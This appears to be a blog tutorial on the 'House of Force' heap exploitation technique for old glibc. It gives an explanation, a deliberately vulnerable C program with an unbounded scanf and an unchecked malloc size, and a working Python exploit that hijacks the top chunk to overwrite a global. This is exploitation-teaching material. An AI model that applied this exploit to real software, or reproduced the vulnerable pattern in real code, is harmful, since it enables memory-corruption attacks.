House of Force
House of Force
House of Force
This is a older exploitation technique that works on glibc 2.27 and lower.
The goal of the house of force is to get malloc() to return a arbitrary value/address by overwriting the top chunk.
So what is the top chunk?
The top chunk (also known as the wilderness) is a special chunk, it is last in memory (highest address) for the given heap arena. It is not part of any free bins and its primary purpose is to service memory allocates requests from malloc() when no other suitable free chunks are found in the available bins and it will be resized.
Why does it not work on modern glibc?
Requirements
- <=
glibc2.27 - Heap overflow from a chunk adjacent to the top chunk
- Control over the size of
malloc() - A heap address leak so we know the relative offset to our write location.
Steps
- Overwrite top chunk side field.
- use a heap overflow to overwrite the size field of the top chunks.
- Overwrite the size field with a big value so that we can ensure that
malloc()will never callmmap:0xffffffffffffff(64 bit)
- Allocate a chunk that will get use right up against the desired location.
- We must use a integer overflow.
-
e.g. top_chunk = 0x603110target = 0x602080- use a integer overflow
0xffffffffffffef50so that the top chunk is attargetaddress. target - top_chunk - ox20
- use a integer overflow
##
Vulnerable sample program
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char target[0x20] = "Nothing to see here";
char *heapchunk;
void init() {
setbuf(stdin, NULL);
setbuf(stderr, NULL);
setbuf(stdout, NULL);
}
int main() {
init();
void *ptr = malloc(8);
printf("Target @ %p\nHeap @ %p\n", &target, ptr - 0x10);
int size;
while (1) {
printf("Size: ");
scanf("%d", &size);
heapchunk = (char*)malloc(size);
printf("Data: ");
scanf("%s", heapchunk);
printf("Target : %s\n", target);
}
}
exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def malloc(size:int, data:bytes):
sla(b"Size: ", str(size).encode())
sla(b"Data: ", data)
ru(b"Target : ")
data = rl().decode()
log.info(f"Target : {data}")
def exploit():
#####################################################################
######################## EXPLOIT CODE ###############################
#####################################################################
ru(b"Target @ ")
target_addr = int(rl(), 16)
ru(b"Heap @ ")
heap = int(rl(), 16)
print_leak("Target", target_addr)
print_leak("Heap", heap)
size = 256
payload = flat(
b"A"*size,
size, # prev size
0xffffffffffffffff # size
)
malloc(size, payload)
size = target_addr - (heap + (0x18 + 256 + 0x10)) - 0x20 # `target - top_chunk - ox20`
log.info("Distance: " + hex(size))
malloc(size, b"AAA")
size = 0x100
malloc(size, b"PWNED|using_house_of_force")
io.close()
This post is licensed under
CC BY 4.0
by the author.